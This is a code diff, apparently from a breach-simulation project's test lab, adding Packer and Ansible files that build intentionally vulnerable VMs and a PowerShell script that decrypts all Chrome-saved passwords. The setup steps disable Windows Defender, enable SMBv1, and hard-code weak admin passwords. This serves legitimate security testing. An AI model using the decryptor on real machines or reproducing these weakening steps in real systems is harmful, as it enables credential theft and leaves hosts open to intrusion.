"sha256:9eb6caa9a297fc2c2fb8862bc5370d0303ddba53ba97e71f08023b6cd73d16a8", + "sha256:a0cd17c15d3bb3fa06978b4e8958dcdc6e0174ccea823003a106c7d4d7899ac5", + "sha256:afd7e57eddb1a54f0f1a974bc4391af8bcce0b444685d936840f125cf046d5bd", + "sha256:b1275ad35a5d18c62a7220633c913e1b42d44b46ee12554e5fd39c70a243d6a3", + "sha256:b786eecbdf8499b9ca1d697215862083bd6d2a99965554781d0d8d1ad31e13a0", + "sha256:ba336e390cd8e4d1739f42dfe9bb83a3cc2e80f567d8805e11b46f4a943f5515", + "sha256:baa90d3f661d43131ca170712d903e6295d1f7a0f595074f151c0aed377c9b9c", + "sha256:bc1bf2925a1ecd43da378f4db9e4f799775d6367bdb94671027b73b393a7c42c", + "sha256:bd4af7373a854424dabd882decdc5579653d7868b8fb26dc7d0e99f823aa5924", + "sha256:bf07ee2fef7014951eeb99f56f39c9bb4af143d8aa3c21b1677805985307da34", + "sha256:bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43", + "sha256:c8098ddcc2a85b61647b2590f825f3db38891662cfc2fc776415143f599bb859", + "sha256:d2b04aac4d386b172d5b9692e2d2da8de7bfb6c387fa4f801fbf6fb2e6ba4673", + "sha256:d858aa552c999bc8a8d57426ed01e40bef403cd8ccdd0fc5f6f04a00414cac2a", + "sha256:f003ed9ad21d6a4713f0a9b5a7a0a79e08dd0f221aff4525a2be4c346ee60aab", + "sha256:f22ac1c3cac4dbc50079e965eba2c1058622631e526bd9afd45fedd49ba781fa", + "sha256:faca3bdcf85b2fc05d06ff3fbc1f83e1391b3e724afa3feba7d13eeab355484c", + "sha256:fca0e3a251908a499833aa292323f32437106001d436eca0e6e7833256674585", + "sha256:fd1592b3fdf65fff2ad0004b5e363300ef59ced41c2e6b3a99d4089fa8c5435d", + "sha256:fd66fc5d0da6d9815ba2cebeb4205f95818ff4b79c3ebe268e75d961704af52f" + ], + "markers": "python_version >= '3.6'", + "version": "==6.0.1" + }, + "requests": { + "hashes": [ + "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f", + "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1" + ], + "markers": "python_version >= '3.7'", + "version": "==2.31.0" + }, + "requests-ntlm": { + "hashes": [ + "sha256:33c285f5074e317cbdd338d199afa46a7c01132e5c111d36bd415534e9b916a8", + "sha256:b7781090c647308a88b55fb530c7b3705cef45349e70a83b8d6731e7889272a6" + ], + "markers": "python_version >= '3.7'", + "version": "==1.2.0" + }, + "resolvelib": { + "hashes": [ + "sha256:c6ea56732e9fb6fca1b2acc2ccc68a0b6b8c566d8f3e78e0443310ede61dbd37", + "sha256:d9b7907f055c3b3a2cfc56c914ffd940122915826ff5fb5b1de0c99778f4de98" + ], + "version": "==0.8.1" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "urllib3": { + "hashes": [ + "sha256:8d22f86aae8ef5e410d4f539fde9ce6b2113a001bb4d189e0aed70642d602b11", + "sha256:de7df1803967d2c2a98e4b11bb7d6bd9210474c46e8a0401514e3a42a75ebde4" + ], + "markers": "python_version >= '3.7'", + "version": "==2.0.4" + }, + "xmltodict": { + "hashes": [ + "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56", + "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852" + ], + "markers": "python_version >= '3.4'", + "version": "==0.13.0" + } + } +} diff --git a/envs/monkey_zoo/packer/browser_credentials_66.pkr.hcl b/envs/monkey_zoo/packer/browser_credentials_66.pkr.hcl new file mode 100644 index 00000000000..2e30c8b100d --- /dev/null +++ b/envs/monkey_zoo/packer/browser_credentials_66.pkr.hcl @@ -0,0 +1,170 @@ +packer { + required_plugins { + googlecompute = { + source = "github.com/hashicorp/googlecompute" + version = "~> 1" + } + ansible = { + source = "github.com/hashicorp/ansible" + version = "~> 1" + } + } +} + +variable "project_id" { + type = string +} +variable "zone" { + type = string + default = "europe-west1-b" +} +variable "machine_type" { + type = string + default = "e2-standard-4" +} +variable "source_image" { + type = string + default = "windows-server-2016-dc-v20211216" +} +variable "account_file" { + type = string +} +variable "packer_username" { + type = string + default = "packer_user" +} +variable "packer_user_password" { + type = string + default = "Passw0rd" +} + + +source "googlecompute" "browser-credentials-66" { + image_name = "browser-credentials-66" + project_id = "${var.project_id}" + source_image = "${var.source_image}" + zone = "${var.zone}" + disk_size = 50 + machine_type = "${var.machine_type}" + account_file = "${var.account_file}" + communicator = "winrm" + winrm_username = "${var.packer_username}" + winrm_password = "${var.packer_user_password}" + winrm_insecure = true + winrm_use_ssl = true + metadata = { + sysprep-specialize-script-cmd = "winrm quickconfig -quiet & net user packer_user Passw0rd /add & net localgroup administrators packer_user /add & winrm set winrm/config/service/auth @{Basic=\"true\"}" + } +} + +build { + sources = [ + "source.googlecompute.browser-credentials-66", + ] + provisioner "ansible" { + only = ["googlecompute.browser-credentials-66"] + use_proxy = false + user = "${var.packer_username}" + playbook_file = "./packer/setup_browser_credentials_66.yml" + ansible_env_vars = ["ANSIBLE_HOST_KEY_CHECKING=False"] + extra_arguments = [ + "-e", "ansible_winrm_transport=ntlm ansible_winrm_server_cert_validation=ignore", + "-e", "ansible_password=${var.packer_user_password}", + "-vvv" + ] + } + + provisioner "powershell" { + only = ["googlecompute.browser-credentials-66"] + inline = [ + "$LocalTempDir = $env:TEMP", + "$ChromeInstaller = \"ChromeInstaller.exe\"", + "(new-object System.Net.WebClient).DownloadFile(\"http://dl.google.com/chrome/install/latest/chrome_installer.exe\", \"$LocalTempDir\\$ChromeInstaller\")", + "& \"$LocalTempDir\\$ChromeInstaller\" /silent /install", + ] + } + + provisioner "powershell" { + only = ["googlecompute.browser-credentials-66"] + elevated_user = "m0nk3y" + elevated_password = "P@ssw0rd!" + inline = [ + "$process = Start-Process \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" -ArgumentList \"-first-run\" -PassThru", + "Start-Sleep -Seconds 10", + "$process", + "Stop-Process -Id $process.Id", + ] + } + + provisioner "file" { + only = ["googlecompute.browser-credentials-66"] + source = "./packer/files/chrome-creds.ps1" + destination = "C:\\Users\\m0nk3y\\Desktop\\chrome-creds.ps1" + } + + provisioner "file" { + only = ["googlecompute.browser-credentials-66"] + source = "./packer/files/System.Data.SQLite.dll" + destination = "C:\\Users\\m0nk3y\\Desktop\\System.Data.SQLite.dll" + } + + provisioner "powershell" { + only = ["googlecompute.browser-credentials-66"] + elevated_user = "m0nk3y" + elevated_password = "P@ssw0rd!" + inline = [ + "Set-Location C:\\Users\\m0nk3y\\Desktop", + "pwsh -Command {", + < + + This script can be used to list all credentials found in the Chrome Local Store. + It can also be used to Export and Import credentials one by one, with the ability to customize them: + the script will in fact take care of decrypting/re-encrypting passwords as per [1] and [2]. + + Tested on Windows 10 Enterprise, Version 20H2, OS Build 19042.1466, and Chrome Version 97.0.4692.71 (Official Build) (64-bit). + + History: + + **13-Jan-2022 v.1.0.0**: add capability to extract and re-import credentials into the store. + **04-Feb-2022 v.1.0.1**: add ability to specify LocalAppData path via param. + **08-Feb-2022 v.1.0.2**: add command to delete all credentials. + + [1] https://xenarmor.com/how-to-recover-saved-passwords-google-chrome/ + [2] https://jhoneill.github.io/powershell/2020/11/23/Chrome-Passwords.html + > + +<# Based on https://www.powershellgallery.com/packages/Read-Chromium/1.0.0/Content/Read-Chromium.ps1 + Copyright James O'Neill 2020. + Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + #> + +#requires -version 7 + +using namespace "System.Security.Cryptography" + + + +param ( + $LocalAppDataPath = (Get-ChildItem Env:\LOCALAPPDATA).Value, + $LoginDataPath = "$LocalAppDataPath\Google\Chrome\User Data\Default\Login Data", + $LocalStatePath = "$LocalAppDataPath\Google\Chrome\User Data\Local State", + + $Command = "List", # Can be List, Export, or Import + + $id = -1, + + $origin_url = 'https://demo.testfire.net/login.jsp', + $action_url = 'https://demo.testfire.net/doLogin', + $username_element = 'uid', + $username_value = 'jsmith', + $password_element = 'passw', + $password_value = 0000000000, + $submit_element = '', + $signon_realm = 'https://demo.testfire.net/', + $blacklisted_by_user = '0', + $scheme = '0', + $password_type = '0', + $times_used = '0', + $form_data = '3401000007000000050000006c006f00670069006e0000002300000068747470733a2f2f64656d6f2e74657374666972652e6e65742f6c6f67696e2e6a7370002100000068747470733a2f2f64656d6f2e74657374666972652e6e65742f646f4c6f67696e00000002000000090000000000000003000000750069006400000000000000040000007465787400000000ffffff7f00000000000000000000000001000000010000000100000002000000000000000000000000000000050000000000000000000000090000000000000005000000700061007300730077000000000000000800000070617373776f726400000000ffffff7f0000000000000000000000000100000001000000010000000200000000000000000000000000000005000000000000000000000001000000040000006e756c6c', + $display_name = '', + $icon_url = '', + $federation_url = '', + $skip_zero_click = '0', + $generation_upload_status = '0', + $possible_username_pairs = '00000000', + $moving_blocked_for = '00000000' +) + +function HexToByteArray([string]$hex) {(0..([Math]::Floor( ($hex.Length+1)/2)-1)).ForEach({[Convert]::ToByte($(if ($hex.Length -ge 2*($_+1)) {$hex.Substring($_*2,2)} else {$hex.Substring($_*2,1).PadRight(2,'0')}),16)})} + +$scriptVersion = "1.0.2" +$scriptName = $MyInvocation.MyCommand.Name +$scriptPath = (Get-Item .).FullName + +Write-Host +Write-Host "chrome-creds ${scriptVersion} made with <3 by Marco Simioni " +Write-Host + +Write-Host "LocalAppDataPath: $LocalAppDataPath" +Write-Host "LoginDataPath: $LoginDataPath" +Write-Host "LocalStatePath: $LocalStatePath" +Write-Host + +# Get the master key and use it to create a AesGCcm object for decoding +if ($LocalStatePath) {$localStateInfo = Get-Content -Raw $LocalStatePath | ConvertFrom-Json} +if ($localStateInfo) {$encryptedkey = [convert]::FromBase64String($localStateInfo.os_crypt.encrypted_key)} +if ($encryptedkey -and [string]::new($encryptedkey[0..4]) -eq 'DPAPI') { + $masterKey = [ProtectedData]::Unprotect(($encryptedkey | Select-Object -Skip 5), $null, 'CurrentUser') + $Script:GCMKey = [AesGcm]::new($masterKey) # Not present in Windows PowerShell 5, nor in PS Core V6. +} +else {Write-Warning 'Could not get key for new-style encyption. Will try with older Style' } + +# Used to decrypt passwords +# Use AES GCM decryption if ciphertext starts "V10" & GCMKey exists, else try ProtectedData.unprotect +# (See https://xenarmor.com/how-to-recover-saved-passwords-google-chrome/) +function DecryptPassword { + Param ( $Encrypted ) + + try { + if ($Script:GCMKey -and [string]::new($Encrypted[0..2]) -match "v1\d") { + #Ciphertext bytes run 0-2="V10"; 3-14=12_byte_IV; 15 to len-17=payload; final-16=16_byte_auth_tag + [byte[]]$output = 1..($Encrypted.length - 31) # same length as payload. + $iv = $Encrypted[3..14] + $cipherText = $Encrypted[15..($Encrypted.Length-17)] + $tag = $Encrypted[-16..-1] + $Script:GCMKey.Decrypt($iv, $cipherText, $tag, $output, $null) + [string]::new($output) + } + else {[string]::new([ProtectedData]::Unprotect($Encrypted, $null, 'CurrentUser')) } + } + catch {Write-Warning "Error decrypting password ${Encrypted}"} +} + +# Used to encrypt passwords +# Uses AES GCM encryption if GCMKey exists, otherwise ProtectedData.Protect +function EncryptPassword { + Param ( $Unencrypted ) + + try { + if ($Script:GCMKey) { + $iv = New-Object byte[] 12 + # Generate the empty byte arrays which will be filled with data during encryption + $tag = [byte[]]::new(16) + $output = [byte[]]::new($Unencrypted.Length) # same length as payload. + $Script:GCMKey.Encrypt($iv, [system.Text.Encoding]::UTF8.GetBytes($Unencrypted), $output, $tag, $null) + $ver = [system.Text.Encoding]::UTF8.GetBytes("v10") + #Ciphertext bytes run 0-2="V10"; 3-14=12_byte_IV; 15 to len-17=payload; final-16=16_byte_auth_tag + [byte[]] $protected = $ver + $iv + $output + $tag + return ,$protected # This is needed to return a byte array, see https://stackoverflow.com/a/61440166/2018733 + } + else {[string]::new([ProtectedData]::Protect($Unencrypted, $null, 'CurrentUser')) } + } + catch { + Write-Warning "Error encrypting password ${Unencrypted}" + Write-Warning $_ + } +} + +# Test if System.Data.SQLite.dll is available +$sqlitedll = ".\System.Data.SQLite.dll" + +if (!(Test-Path -Path $sqlitedll)) +{ + Write-Host "Your bitness is:" (8*[IntPtr]::Size) -ForegroundColor Yellow + Write-Host "Your .Net version is:" ([System.Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion()) -ForegroundColor Yellow + Write-Host + Write-Host "This script needs ""System.Data.SQLite.dll"" to be present in the current directory. Please follow these steps:" -ForegroundColor Yellow + Write-Host + Write-Host "- Download the SQLite static binary bundle from http://system.data.sqlite.org/index.html/doc/trunk/www/downloads.wiki." -ForegroundColor Yellow + if ([intptr]::Size -eq 8) + { + Write-Host " (You most likely need: http://system.data.sqlite.org/downloads/1.0.115.5/sqlite-netFx40-static-binary-bundle-x64-2010-1.0.115.5.zip)" -ForegroundColor Yellow + } else { + Write-Host " (You most likely need: http://system.data.sqlite.org/downloads/1.0.115.5/sqlite-netFx40-static-binary-bundle-Win32-2010-1.0.115.5.zip)" -ForegroundColor Yellow + } + Write-Host "- Extract ""System.Data.SQLite.dll"" from the downloaded archive, and put it in the current directory (""${scriptPath}"")." -ForegroundColor Yellow + Write-Host "- Re-run this script." -ForegroundColor Yellow + return +} + +# Unblock and load System.Data.SQLite.dll +Unblock-File $sqlitedll +Add-Type -Path $sqlitedll + + +# Open the SQLite database +$conn = New-Object -TypeName System.Data.SQLite.SQLiteConnection +$conn.ConnectionString = ("Data Source="""+$LoginDataPath+""";Default Timeout=5") +$conn.Open() + +# Check if database is locked +Write-Host "Opening ${LoginDataPath}..." +try { + $sql = "SELECT 0 from logins" + $cmd = $conn.CreateCommand() + $cmd.CommandText = $sql + $res = $cmd.ExecuteNonQuery() +} catch { + Write-Warning "Cannot read from the SQLite database ""${LoginDataPath}"": most likely it is locked. Please close your Chrome browser and retry." ; return + } + +# Execute the requested command +Switch ($Command) +{ + "List" { + Write-Host "Listing all credentials stored..." + + $sql = "SELECT * FROM logins" + $cmd = $conn.CreateCommand() + $cmd.CommandText = $sql + $adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $cmd + $data = New-Object System.Data.DataSet + $res = $adapter.Fill($data) + + $arrExp=@() + foreach ($datarow in $data.Tables.rows) + { + Write-Host "Decoding" $datarow.origin_url "..." + $row = New-Object psobject + $row | Add-Member -Name id -MemberType NoteProperty -Value ($datarow.id) + $row | Add-Member -Name URL -MemberType NoteProperty -Value ($datarow.origin_url) + $row | Add-Member -Name UserName -MemberType NoteProperty -Value ($datarow.username_value) + $row | Add-Member -Name Password -MemberType NoteProperty -Value ((DecryptPassword $datarow.password_value)) + $arrExp += $row + } + + $cmd.Dispose() + + # Let's display the result + if (Test-Path Variable:PSise) + { + $arrExp | Out-GridView + } + else + { + $arrExp | Format-Table + } + + Write-Host "You can now chose an ID from the list, and export credentials as an executable import command with:" + Write-Host + Write-Host "./$scriptName -command Export -id " + } + + "Export" { + + if ($id –lt 0) { + Write-Warning "You need to indicate the credentials to be exported, by specifying the parameter -id as follows:" + Write-Warning "./$scriptName -command Export -id 1" + return + } + + Write-Host "Exporting credential with id" $id "..." + + $sql = "SELECT * FROM logins WHERE id=@id" + $cmd = $conn.CreateCommand() + $cmd.CommandText = $sql + $param = $cmd.Parameters.AddWithValue("@id", $id) + $adapter = New-Object -TypeName System.Data.SQLite.SQLiteDataAdapter $cmd + $data = New-Object System.Data.DataSet + $res = $adapter.Fill($data) + + $arrExp=@() + foreach ($datarow in $data.Tables.rows) + { + Write-Host "Exporting creds for" $datarow.origin_url "..." + + $exp = "./$scriptName -Command Import ```n" + $exp += " -origin_url " + ([string]::IsNullOrEmpty($datarow.origin_url) ? "`"`"" : $datarow.origin_url) + " ```n" + $exp += " -action_url " + ([string]::IsNullOrEmpty($datarow.action_url) ? "`"`"" : $datarow.action_url) + " ```n" + $exp += " -username_element " + ([string]::IsNullOrEmpty($datarow.username_element) ? "`"`"" : $datarow.username_element) + " ```n" + $exp += " -username_value " + ([string]::IsNullOrEmpty($datarow.username_value) ? "`"`"" : $datarow.username_value) + " ```n" + $exp += " -password_element " + ([string]::IsNullOrEmpty($datarow.password_element) ? "`"`"" : $datarow.password_element) + " ```n" + $exp += " -password_value " + (DecryptPassword $datarow.password_value) + " ```n" + $exp += " -submit_element " + ([string]::IsNullOrEmpty($datarow.submit_element) ? "`"`"" : $datarow.submit_element) + " ```n" + $exp += " -signon_realm " + ([string]::IsNullOrEmpty($datarow.signon_realm) ? "`"`"" : $datarow.signon_realm) + " ```n" + $exp += " -blacklisted_by_user " + $datarow.blacklisted_by_user + " ```n" + $exp += " -scheme " + $datarow.scheme + " ```n" + $exp += " -password_type " + $datarow.password_type + " ```n" + $exp += " -times_used " + $datarow.times_used + " ```n" + $exp += " -form_data " + [System.Convert]::ToHexString($datarow.form_data) + " ```n" + $exp += " -display_name " +([string]::IsNullOrEmpty($datarow.display_name) ? "`"`"" : $datarow.display_name) + " ```n" + $exp += " -icon_url " + ([string]::IsNullOrEmpty($datarow.icon_url) ? "`"`"" : $datarow.icon_url) + " ```n" + $exp += " -federation_url " + ([string]::IsNullOrEmpty($datarow.federation_url) ? "`"`"" : $datarow.federation_url) + " ```n" + $exp += " -skip_zero_click " + $datarow.skip_zero_click + " ```n" + $exp += " -generation_upload_status " + $datarow.generation_upload_status + " ```n" + $exp += " -possible_username_pairs " + [System.Convert]::ToHexString($datarow.possible_username_pairs) + " ```n" + $exp += " -moving_blocked_for " + [System.Convert]::ToHexString($datarow.moving_blocked_for) + " `n" + + Write-Host + Write-Host $exp + Write-Host + Write-Host "...exported! Just copy and paste the above command for inserting or updating the chosen creds into the store." + Write-Host "(Remember you can customize username_value and password_value, or any other parameter for that matter)." + } + + $cmd.Dispose() + } + + "Import" { + Write-Host "Importing..." + + $cmd = $conn.CreateCommand() + + $sql = "INSERT OR REPLACE INTO main.logins (origin_url, action_url, username_element, username_value, password_element, password_value, submit_element, signon_realm, date_created, blacklisted_by_user, scheme, password_type, times_used, form_data, display_name, icon_url, federation_url, skip_zero_click, generation_upload_status, possible_username_pairs, date_last_used, moving_blocked_for, date_password_modified)" + $sql += " VALUES (@origin_url, @action_url, @username_element, @username_value, @password_element, @password_value, @submit_element, @signon_realm, @date_created, @blacklisted_by_user, @scheme, @password_type, @times_used, @form_data, @display_name, @icon_url, @federation_url, @skip_zero_click, @generation_upload_status, @possible_username_pairs, @date_last_used, @moving_blocked_for, @date_password_modified);" + + $password_value = EncryptPassword $password_value + + $param = $cmd.Parameters.AddWithValue("@origin_url", $origin_url) + $param = $cmd.Parameters.AddWithValue("@action_url", $action_url) + $param = $cmd.Parameters.AddWithValue("@username_element", $username_element) + $param = $cmd.Parameters.AddWithValue("@username_value", $username_value) + $param = $cmd.Parameters.AddWithValue("@password_element", $password_element) + $param = $cmd.Parameters.AddWithValue("@password_value", $password_value) + $param = $cmd.Parameters.AddWithValue("@submit_element", $submit_element) + $param = $cmd.Parameters.AddWithValue("@signon_realm", $signon_realm) + $param = $cmd.Parameters.AddWithValue("@date_created", ([DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() * 1000)) + $param = $cmd.Parameters.AddWithValue("@blacklisted_by_user", $blacklisted_by_user) + $param = $cmd.Parameters.AddWithValue("@scheme", $scheme) + $param = $cmd.Parameters.AddWithValue("@password_type", $password_type) + $param = $cmd.Parameters.AddWithValue("@times_used", $times_userd) + $param = $cmd.Parameters.AddWithValue("@form_data", (HexToByteArray($form_data))) + $param = $cmd.Parameters.AddWithValue("@display_name", $display_name) + $param = $cmd.Parameters.AddWithValue("@icon_url", $icon_url) + $param = $cmd.Parameters.AddWithValue("@federation_url", $federation_url) + $param = $cmd.Parameters.AddWithValue("@skip_zero_click", $skip_zero_click) + $param = $cmd.Parameters.AddWithValue("@generation_upload_status", $generation_upload_status) + $param = $cmd.Parameters.AddWithValue("@possible_username_pairs", (HexToByteArray($possible_username_pairs))) + #$param = $cmd.Parameters.AddWithValue("@id", '9') # AUTO INCREMENT + $param = $cmd.Parameters.AddWithValue("@date_last_used", ([DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() * 1000)) + $param = $cmd.Parameters.AddWithValue("@moving_blocked_for", (HexToByteArray($moving_blocked_for))) + + $param = $cmd.Parameters.AddWithValue("@date_password_modified", ([DateTimeOffset]::UtcNow.ToUnixTimeMilliseconds() * 1000)) + + $cmd.CommandText = $sql + $res = $cmd.ExecuteNonQuery() + + $cmd.dispose() + + Write-Host "...credential imported!" + + } + + "Delete" { + Write-Host "Deleting all credentials..." + + $cmd = $conn.CreateCommand() + + $sql = "DELETE FROM main.logins" + $cmd.CommandText = $sql + $res = $cmd.ExecuteNonQuery() + + $cmd.dispose() + + Write-Host "...all credentials deleted!" + + } +} + +#$conn.Close() diff --git a/envs/monkey_zoo/packer/rdp.pkr.hcl b/envs/monkey_zoo/packer/rdp.pkr.hcl new file mode 100644 index 00000000000..c3056049e2a --- /dev/null +++ b/envs/monkey_zoo/packer/rdp.pkr.hcl @@ -0,0 +1,109 @@ +packer { + required_plugins { + googlecompute = { + source = "github.com/hashicorp/googlecompute" + version = "~> 1" + } + ansible = { + source = "github.com/hashicorp/ansible" + version = "~> 1" + } + } +} + +variable "project_id" { + type = string +} +variable "zone" { + type = string + default = "europe-west1-b" +} +variable "machine_type" { + type = string + default = "e2-standard-4" +} +variable "source_image" { + type = string + default = "windows-server-2016-dc-v20211216" +} +variable "account_file" { + type = string +} +variable "packer_username" { + type = string + default = "packer_user" +} +variable "packer_user_password" { + type = string + default = "Passw0rd" +} + + + +source "googlecompute" "rdp-64" { + image_name = "rdp-64" + project_id = "${var.project_id}" + source_image = "${var.source_image}" + zone = "${var.zone}" + disk_size = 50 + machine_type = "${var.machine_type}" + account_file = "${var.account_file}" + communicator = "winrm" + winrm_username = "${var.packer_username}" + winrm_password = "${var.packer_user_password}" + winrm_insecure = true + winrm_use_ssl = true + metadata = { + sysprep-specialize-script-cmd = "winrm quickconfig -quiet & net user packer_user Passw0rd /add & net localgroup administrators packer_user /add & winrm set winrm/config/service/auth @{Basic=\"true\"}" + } +} + +source "googlecompute" "rdp-65" { + image_name = "rdp-65" + project_id = "${var.project_id}" + source_image = "windows-server-2012-r2-dc-v20230510" + zone = "${var.zone}" + disk_size = 50 + machine_type = "${var.machine_type}" + account_file = "${var.account_file}" + communicator = "winrm" + winrm_username = "${var.packer_username}" + winrm_password = "${var.packer_user_password}" + winrm_insecure = true + winrm_use_ssl = true + metadata = { + sysprep-specialize-script-cmd = "winrm quickconfig -quiet & net user packer_user Passw0rd /add & net localgroup administrators packer_user /add & winrm set winrm/config/service/auth @{Basic=\"true\"}" + } +} + + +build { + sources = [ + "source.googlecompute.rdp-64", + "source.googlecompute.rdp-65" + ] + provisioner "ansible" { + only = ["googlecompute.rdp-64"] + use_proxy = false + user = "${var.packer_username}" + playbook_file = "./packer/setup_rdp_64.yml" + ansible_env_vars = ["ANSIBLE_HOST_KEY_CHECKING=False"] + extra_arguments = [ + "-e", "ansible_winrm_transport=ntlm ansible_winrm_server_cert_validation=ignore", + "-e", "ansible_password=${var.packer_user_password}", + "-vvv" + ] + } + provisioner "ansible" { + only = ["googlecompute.rdp-65"] + use_proxy = false + user = "${var.packer_username}" + playbook_file = "./packer/setup_rdp_65.yml" + ansible_env_vars = ["ANSIBLE_HOST_KEY_CHECKING=False"] + extra_arguments = [ + "-e", "ansible_winrm_transport=ntlm ansible_winrm_server_cert_validation=ignore", + "-e", "ansible_password=${var.packer_user_password}", + "-vvv" + ] + } +} diff --git a/envs/monkey_zoo/packer/setup_browser_credentials_66.yml b/envs/monkey_zoo/packer/setup_browser_credentials_66.yml new file mode 100644 index 00000000000..ff2f61270dd --- /dev/null +++ b/envs/monkey_zoo/packer/setup_browser_credentials_66.yml @@ -0,0 +1,41 @@ +--- +- name: Configure RDP access and store some chrome credentials + hosts: all + become_method: runas + vars: + ansible_remote_tmp: C:\Windows\Temp + ansible_become_password: P@ssw0rd! + tasks: + - name: Create user + win_user: + name: m0nk3y + password: P@ssw0rd! + password_never_expires: yes + state: present + update_password: on_create + groups_action: add + groups: + - Administrators + - "Remote Desktop Users" + + - name: Disable Windows Defender using registry + win_regedit: + path: HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender + name: DisableAntiSpyware + data: 1 + type: dword + state: present + + - name: Disable Windows Defender + win_shell: Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -EnableNetworkProtection AuditMode -Force + become: yes + become_user: m0nk3y + + - name: Change the hostname to browser-credentials-66 + ansible.windows.win_hostname: + name: browser-credentials-66 + register: res + + - name: Reboot + ansible.windows.win_reboot: + when: res.reboot_required diff --git a/envs/monkey_zoo/packer/setup_browser_credentials_67.yml b/envs/monkey_zoo/packer/setup_browser_credentials_67.yml new file mode 100644 index 00000000000..44bda529f67 --- /dev/null +++ b/envs/monkey_zoo/packer/setup_browser_credentials_67.yml @@ -0,0 +1,49 @@ +--- +- name: Configure chrome credential files on Linux + hosts: all + remote_user: root + + tasks: + - name: Add user + user: + name: m0nk3y + password: "{{ 'password' | password_hash('sha512') }}" + - name: Create chromimum data directory + file: + path: /home/m0nk3y/snap/chromium/common/chromium + state: directory + - name: Copy local state + copy: + src: data/ + dest: /home/m0nk3y/snap/chromium/common/chromium/ + owner: m0nk3y + group: m0nk3y + mode: 0600 + - name: Rename local state file + shell: mv /home/m0nk3y/snap/chromium/common/chromium/LocalState /home/m0nk3y/snap/chromium/common/chromium/Local\ State + - name: Rename login database files + # For some reason, ansible had trouble copying files with spaces + # in the name, so we have to rename them. + shell: | + for d in /home/m0nk3y/snap/chromium/common/chromium/*/ ; do + if [ -d "$d" ]; then + mv "$d/LoginData" "$d/Login Data" + fi + done + - name: Debug list dir + command: ls -Rla /home/m0nk3y/snap/chromium/common/chromium/ + register: out + - debug: var=out.stdout_lines + + # The machine needs some way of being accessed + - name: Enable Password Authentication + lineinfile: + dest: /etc/ssh/sshd_config + regexp: '^PasswordAuthentication.*no' + line: "PasswordAuthentication yes" + state: present + backup: yes + - name: Remove sshguard + apt: + name: sshguard + state: absent diff --git a/envs/monkey_zoo/packer/setup_mimikatz_15.yml b/envs/monkey_zoo/packer/setup_mimikatz_15.yml new file mode 100644 index 00000000000..c2dbe59b871 --- /dev/null +++ b/envs/monkey_zoo/packer/setup_mimikatz_15.yml @@ -0,0 +1,77 @@ +--- +- name: Create a mimikatz-15 machine image + hosts: all + become_method: runas + vars: + ansible_remote_tmp: C:\Windows\Temp + ansible_become_password: pAJfG56JX>< + tasks: + - name: Create user + win_user: + name: m0nk3y + password: pAJfG56JX>< + password_never_expires: yes + state: present + update_password: on_create + groups_action: add + groups: + - Administrators + - "Remote Desktop Users" + + - name: Enable SMBv1 + ansible.windows.win_optional_feature: + name: SMB1Protocol + state: present + + - name: Disable SMBv2 using win_regedit + ansible.windows.win_regedit: + path: HKLM:\System\CurrentControlSet\Services\LanmanServer\Parameters + name: SMB2 + data: 0 + type: dword + state: present + + - name: Allow port 445 SMB + win_command: + cmd: netsh advfirewall firewall add rule name="Allow Port 445" dir=in action=allow protocol=TCP localport=445 + + - name: Allow port 135 DCOM + win_command: + cmd: netsh advfirewall firewall add rule name="Allow Port 135" dir=in action=allow protocol=TCP localport=135 + + - name: Allow DCOM Connection + win_firewall_rule: + name: Allow DCOM Connection + localport: any + direction: in + program: C:\Windows\System32\svchost.exe + action: allow + state: present + enabled: yes + + - name: Disable Windows Defender using registry + win_regedit: + path: HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender + name: DisableAntiSpyware + data: 1 + type: dword + state: present + + - name: Disable Windows Defender + win_shell: Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -EnableNetworkProtection AuditMode -Force + become: yes + become_user: m0nk3y + + - name: Change the hostname to mimikatz-15 + ansible.windows.win_hostname: + name: mimikatz-15 + register: res + + - name: Reboot + ansible.windows.win_reboot: + when: res.reboot_required + + - name: Delete packer_user + win_user: + name: packer_user + state: absent diff --git a/envs/monkey_zoo/packer/setup_rdp_64.yml b/envs/monkey_zoo/packer/setup_rdp_64.yml new file mode 100644 index 00000000000..b897bb52c99 --- /dev/null +++ b/envs/monkey_zoo/packer/setup_rdp_64.yml @@ -0,0 +1,45 @@ +--- +- name: Create a new user and allow RDP access + hosts: all + become_method: runas + vars: + ansible_remote_tmp: 